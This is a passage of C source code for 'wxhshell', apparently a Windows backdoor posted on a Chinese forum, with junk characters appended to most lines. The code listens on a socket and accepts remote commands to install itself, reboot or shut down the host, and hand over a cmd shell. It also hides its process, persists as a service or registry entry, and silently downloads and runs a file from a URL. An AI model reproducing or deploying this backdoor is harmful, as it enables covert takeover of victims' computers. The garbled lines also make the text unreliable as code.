  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B+);y  
  } a\vf{2  
  else { J><O 51  
L;nRI.  
    switch(cmd[0]) { 52m^jT Sx  
  ?Li^XONz  
  // 帮助 ]?-56c,  
  case '?': { T =3te|fv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jp8=>mk  
    break; m<8j' [+  
  } Jl Q%+$  
  // 安装 vKAHf;1  
  case 'i': { yZK1bnYG|I  
    if(Install()) N ED`GU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ 5 kKMz  
    else 9/}i6j8Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s7I*=}{g0.  
    break; , p1 (0i  
    } )oTEB#J  
  // 卸载 Qat%<;P2  
  case 'r': { FvG9PPd  
    if(Uninstall()) "x9xJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l4U& CA y  
    else $2]1 3j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MGc=TQ.  
    break; @EfCNOy  
    } #H O\I7m  
  // 显示 wxhshell 所在路径 *Vfas|3hZI  
  case 'p': { z$ysp!  
    char svExeFile[MAX_PATH]; KyXgw  
    strcpy(svExeFile,"\n\r"); @E O #Ms  
      strcat(svExeFile,ExeFile); ||`w MWq  
        send(wsh,svExeFile,strlen(svExeFile),0); ><LIOFqsS  
    break; Z<jRZH*L  
    } {N)\It  
  // 重启 :1_hQeq  
  case 'b': { Cb=r8C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oge^2  
    if(Boot(REBOOT)) lU Uq|Qr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vlyq2>TfR  
    else { (n"  )  
    closesocket(wsh); P7egT,Z  
    ExitThread(0); n,PHfydqX  
    } Da-F(^E  
    break; ~pzaX8!  
    } pal))e! B  
  // 关机 y{u6t 3  
  case 'd': { <$?:|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); + W@r p#  
    if(Boot(SHUTDOWN)) EyBdL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KNY<"b  
    else { r0\bi6;s/  
    closesocket(wsh); V2g$"W?3  
    ExitThread(0); Maa5a  
    } q/;mxq$  
    break; iS=T/<|?  
    } tH_# q"@)  
  // 获取shell g,,cV+  
  case 's': { @lTUag'U0  
    CmdShell(wsh); cYbO)?mC_  
    closesocket(wsh); T^ sxR4F  
    ExitThread(0); ;Ly4Z*!2  
    break; 5@0c@Q  
  } vnN_csJ#^  
  // 退出 #m$H'O[WG\  
  case 'x': { +ixDB0"\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]6:5<NW  
    CloseIt(wsh); +uT=Wb \  
    break; 8ZIv:nO$  
    } Rw/G =zV@2  
  // 离开  vo::y"  
  case 'q': { qS2%U?S7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I?fE=2}9  
    closesocket(wsh); kBONP^xI  
    WSACleanup(); }s)Z:6;(,q  
    exit(1); piId5Gx7  
    break; /ZzlC#`  
        } &>s(f-\8  
  } JQtH },T r  
  } <5X@r#Lz  
4;*V^\',9  
  // 提示信息 ] !A;-m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :EO}uP2  
} !3b%Q</M H  
  } a6]!4  
xO.7cSqgw  
  return; \;?\@vo<  
} )T4L^^`  
Gt1Up~\s  
// shell模块句柄 c3}}cFe  
int CmdShell(SOCKET sock) )ld7^G  
{ 9:Y:Vx  
STARTUPINFO si; Ym6ec|9;  
ZeroMemory(&si,sizeof(si)); T+[e6/|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O[`Ob6Q{F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; */\.-L{h  
PROCESS_INFORMATION ProcessInfo; H,I}R  
char cmdline[]="cmd"; B@=Yj_s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YL. z|{\e  
  return 0; ;+jp,( 7  
} 4ku/3/ 6  
|4c==7.  
// 自身启动模式 zm"\D vN)  
int StartFromService(void) y{"E) YY  
{ roA1= G\Q  
typedef struct - VE#:&  
{ Qnw$=L:  
  DWORD ExitStatus; BmM,vllO  
  DWORD PebBaseAddress; K]u|V0c  
  DWORD AffinityMask; %b?Pasf.  
  DWORD BasePriority; \1Bgs^  
  ULONG UniqueProcessId; D=\|teA&  
  ULONG InheritedFromUniqueProcessId; w* I+~o-  
}   PROCESS_BASIC_INFORMATION; O<3,n;56Z  
p3S c4  
PROCNTQSIP NtQueryInformationProcess; HDEG/k/~m  
_R<HC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZFON]$Zk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]/bE${W*]  
e ?YbG.(E9  
  HANDLE             hProcess; A1q^E(}O  
  PROCESS_BASIC_INFORMATION pbi; TH|hrL;:8  
^55?VQB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2{CSH_"Z7  
  if(NULL == hInst ) return 0; K[[k,W]qb  
k~R[5W|'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  SoX V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q7r,5w& cm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s2v*  
G|lI=Q3f  
  if (!NtQueryInformationProcess) return 0; u\xm8}A  
Lm|X5RVq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P1wRt5  
  if(!hProcess) return 0; f 99PwE(=  
#+ '@/5{n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9ojhI=:  
6\;1<Sw*  
  CloseHandle(hProcess); \DqxS=o;  
}^[@m#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]e.+u  
if(hProcess==NULL) return 0; _|ib@Xbin  
.Qt3!ek  
HMODULE hMod; ;#9| l=  
char procName[255]; 7Ca\ (82  
unsigned long cbNeeded; ^kvH/Y&  
)F9r?5}v4x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *]WXM.R8  
4P!DrOB  
  CloseHandle(hProcess); 0@lC5-=  
TEyx((SK  
if(strstr(procName,"services")) return 1; // 以服务启动 f9UaAdJ(  
#<Nvy9  
  return 0; // 注册表启动 K<6x4ha  
} ]Cn*C{  
~[TKVjyO  
// 主模块 a~F@3Pd  
int StartWxhshell(LPSTR lpCmdLine) %:KV2GP  
{ 4oV_b"xz~  
  SOCKET wsl;  |7zP 8  
BOOL val=TRUE; Lzx$"R-  
  int port=0; :ZS 8Zm"  
  struct sockaddr_in door; w"agn}CK  
O6,"#BX  
  if(wscfg.ws_autoins) Install(); VhFRh,J(T  
BddECY,z  
port=atoi(lpCmdLine); xeM':hD.o  
1{x~iZa  
if(port<=0) port=wscfg.ws_port; &17,]#3  
F[D0x26 ^  
  WSADATA data; <ytKf<a%e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '0')6zW5s  
l$VxE'&LQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yF5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;Z1U@2./  
  door.sin_family = AF_INET; 8o7]XZE=)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7Sz'vyiz  
  door.sin_port = htons(port); x56 F  
YD46Z~$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XDdcq]*|  
closesocket(wsl); ]Uu(OI<)  
return 1; (Ef2 w[ '  
} 8#]7`o  
4ZJT[zi  
  if(listen(wsl,2) == INVALID_SOCKET) { T dP{{&'9  
closesocket(wsl); '!^E92  
return 1; '+!S|U,{  
} 0^y@p&;/.  
  Wxhshell(wsl); {nPkb5xbW  
  WSACleanup(); ?Tc)f_a  
w <#*O:  
return 0; ?$J7%I@  
N=Uc=I7C  
} c7g.|R  
RZd4(7H=q  
// 以NT服务方式启动 1(?CNW[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &=z1$ih>2\  
{ 762o~vY6$  
DWORD   status = 0; )-.Cne;n  
  DWORD   specificError = 0xfffffff; (Gi+7GMV'  
p&OJa$N$[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )7I.N]=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9*=@/1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X40la_[.  
  serviceStatus.dwWin32ExitCode     = 0; * >GIk`!wM  
  serviceStatus.dwServiceSpecificExitCode = 0; tB,.  
  serviceStatus.dwCheckPoint       = 0; mo|PrLV  
  serviceStatus.dwWaitHint       = 0; wWJQ ~i?  
Jcalf{W6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); { OxAY_  
  if (hServiceStatusHandle==0) return; v?YdLR  
GP{$v:RG  
status = GetLastError(); Y( 1L>4  
  if (status!=NO_ERROR) Y8J ;+h9  
{ l:zU_J6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {DEzuU  
    serviceStatus.dwCheckPoint       = 0; 28T\@zi  
    serviceStatus.dwWaitHint       = 0; 2fkIdy#n@  
    serviceStatus.dwWin32ExitCode     = status; h/ LR+XX!  
    serviceStatus.dwServiceSpecificExitCode = specificError; bmj8WZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VY+(,\ )U  
    return; ?418*tXd  
  } cg(QjH"  
=2RhPD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HA^jk%53  
  serviceStatus.dwCheckPoint       = 0; %rpR-}j  
  serviceStatus.dwWaitHint       = 0; vQ-i xh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \LO_Nu9  
} N,j>;x3xT  
1DEO3p  
// 处理NT服务事件,比如:启动、停止 N?qIpv/a.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Sni&?tcY  
{ ~In{lQ[QX  
switch(fdwControl) B>~k).M&,  
{ ./"mn3U  
case SERVICE_CONTROL_STOP: {l0,T0  
  serviceStatus.dwWin32ExitCode = 0; jd ["eI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ? .c?Pu  
  serviceStatus.dwCheckPoint   = 0; OJMvn'y  
  serviceStatus.dwWaitHint     = 0; -Bo86t)F  
  { !( kX~S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YHs?QsP  
  } tO?21?AD D  
  return; wXc,FD$  
case SERVICE_CONTROL_PAUSE: jg~_'4f#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y.DwtfE  
  break; y._'K+nl  
case SERVICE_CONTROL_CONTINUE: [X;>*-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B }6Kd  
  break; &g*klt'B  
case SERVICE_CONTROL_INTERROGATE: OI~}e,[2z  
  break; ^4+r*YvcM  
}; uVN.=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &(g m4bTg  
} M6# \na  
66oK3%[  
// 标准应用程序主函数 Kn']n91m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q#;BhPc  
{ f.@Xjf  
$np=eT)  
// 获取操作系统版本 Y;8 >=0ye  
OsIsNt=GetOsVer(); O4T'o.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K6E}";;  
Zotz?j VVr  
  // 从命令行安装 [1NaH  
  if(strpbrk(lpCmdLine,"iI")) Install(); W3^.5I  
*%3oyWwCd  
  // 下载执行文件 A 6:Q<  
if(wscfg.ws_downexe) { }xqXd%uz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j5zFDh1(  
  WinExec(wscfg.ws_filenam,SW_HIDE); jM*AL X  
} PCtkjd  
"r@G@pe  
if(!OsIsNt) { 7UnzIe  
// 如果时win9x,隐藏进程并且设置为注册表启动 9X3yp:>V  
HideProc(); =:4?>2)  
StartWxhshell(lpCmdLine); M2dmG<  
} 58J_ w X  
else eO'xkm  
  if(StartFromService()) 0F^]A"kF  
  // 以服务方式启动 u)7*Rj^  
  StartServiceCtrlDispatcher(DispatchTable); e[}],W  
else $R";  
  // 普通方式启动 C,.-Q"juH  
  StartWxhshell(lpCmdLine); $:e)$Xnn-  
h`lmC]X _  
return 0; mY`@'  
}
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只看该作者 1 发表于: 2006-10-10
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